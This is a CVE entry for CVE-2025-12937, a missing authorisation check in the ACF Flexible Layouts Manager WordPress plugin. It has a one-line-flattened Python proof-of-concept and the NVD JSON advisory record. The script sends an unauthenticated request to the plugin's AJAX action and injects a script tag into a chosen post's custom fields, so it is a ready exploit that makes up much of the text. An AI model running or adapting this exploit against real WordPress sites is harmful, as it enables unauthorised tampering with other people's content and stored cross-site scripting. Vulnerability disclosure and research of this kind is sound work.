CVE-2025-12937

import requests import json # CVE-2025-12937 PoC - Unauthenticated Data Modification # Target: WordPress with ACF Flexible Layouts Manager <= 1.1.6 target_url = "http://target-wordpress-site.com" ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Target post/page ID to modify target_post_id = 1 # Malicious custom field data to inject malicious_data = { "acf_flexible_layout": [ { "layout_key": "text_block", "content": "<script>alert('XSS')</script>" } ] } # Construct the exploit request exploit_payload = { "action": "acf_flm_update_template_with_pasted_layout", "post_id": target_post_id, "layout_data": json.dumps(malicious_data), "security_token": "" # No security token required due to missing capability check } print("[*] Sending exploit request...") print(f"[*] Target: {ajax_endpoint}") print(f"[*] Post ID: {target_post_id}") response = requests.post(ajax_endpoint, data=exploit_payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code == 200: print("[+] Exploit sent successfully - Custom field may be modified") else: print("[-] Exploit failed")

{"cve": {"id": "CVE-2025-12937", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:49.470", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ACF Flexible Layouts Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'acf_flm_update_template_with_pasted_layout' function in all versions up to, and including, 1.1.6. This makes it possible for unauthenticated attackers to update custom field values on individual posts and pages."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/acf-flexible-layouts-manager/trunk/includes/ajax/ajax-paste.php#L4", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/915cce97-8305-4249-b2d3-c4da2f59a95a?source=cve", "source": "[email protected]"}]}}